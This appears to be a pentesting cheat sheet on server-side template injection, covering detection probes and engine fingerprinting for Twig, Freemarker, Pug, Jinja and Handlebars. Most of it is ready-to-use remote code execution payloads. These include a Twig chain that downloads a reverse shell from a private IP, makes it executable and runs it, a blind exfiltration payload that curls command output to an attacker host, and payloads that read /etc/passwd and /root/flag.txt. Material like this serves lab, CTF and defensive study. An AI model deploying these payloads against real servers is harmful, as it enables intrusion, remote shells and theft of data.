Server-site Template Injection (SSTI)

Quick test

{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}

Template identification

PHP (e.g. Twig)

{{5*'5'}}           - this will return 25 because PHP does not check the type of the variable
{{-some_variable-}} - this will trim the spaces around the some_variable value

Java (e.g. Freemarker)

${}                   - interpolation
${5*'5'}              - error since Java has strict types
<#if >                - if statements
<#list items as item> - loop

NodeJS (e.g. Pug)

#{}        - interpolation
<html_tag> - beginnig of every line
#{"7"*7}   - generates <49>

Python (e.g. Jinja by Flask)

{{5*"5"}} - this will result "55555"

Multiple languages (e.g. Mustache/Handlebars)

{{5*'5'}} - will issue a rendering error 

Twig

Example template

<h1><?php echo $name ?></h1>

<p>Welcome to our site!</p>

<?php 
if ($isAdmin) {
  echo "<p>You are the supreme leader and we love you</p>";
}
?>

RCE functions

# reduce
{{[0]|reduce('system','whoami')}}
# example:
{{[0]|reduce('system','curl http://192.168.45.175/revshell -o /tmp/revshell')}}
{{[0]|reduce('system','chmod +x /tmp/revshell')}}
{{[0]|reduce('system','/tmp/revshell')}}

# map
{{[0]|map('system','whoami')}}

Blind SSTI exfil

{% set output %}
{{[0]|reduce('system','whoami')}}
{% endset %}

{% set exfil = output| url_encode %}
{{[0]|reduce('system','curl http://<your_ip>/?exfil=' ~ exfil)}}

Freemarker

Example template

01  <h1>Hello ${name}!</h1>
02  <#if name == "hacker">
03  The top reasons you're great:
04    <#list reasons as reason>
05     ${reason?index + 1}: ${reason}
06    </#list>
07  </#if>

RCE functions

${"freemarker.template.utility.Execute"?new()("whoami")}

Pug

Example template

01   h1 Hello, #{name}
02   input(type='hidden' name='admin' value='true')
03 
04   if showSecret
05     - secret = ['❤️','😍', '🤟']
06     p The secrets are: 
07     each val in secret
08       p #{val}
09   else
10    p No secret for you!

RCE functions

= require - this might not work

-var require = global.process.mainModule.require
= require('child_process').spawnSync('whoami').stdout

e.g. = require('child_process').spawnSync('cat', ['/root/flag.txt']).stdout

Jinja

Example template

01	<h1>Hey {{ name }}</h1>
02	{% if reasons %}
03	Here are a couple of reasons why you are great:
04	<ul>
05	{% for r in reasons %}
06		<li>{{r}}</li>
07	{% endfor %}
08	</ul>
09	{% endif %}

Accessing config

{{config|pprint}}

RCE

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

Mustache/Handlebars

Example template

<h1>Hello {{name}}</h1>
{{#if nicknames}}
Also known as:
  {{#each nicknames}}
      {{this}}
  {{/each}}
{{/if}}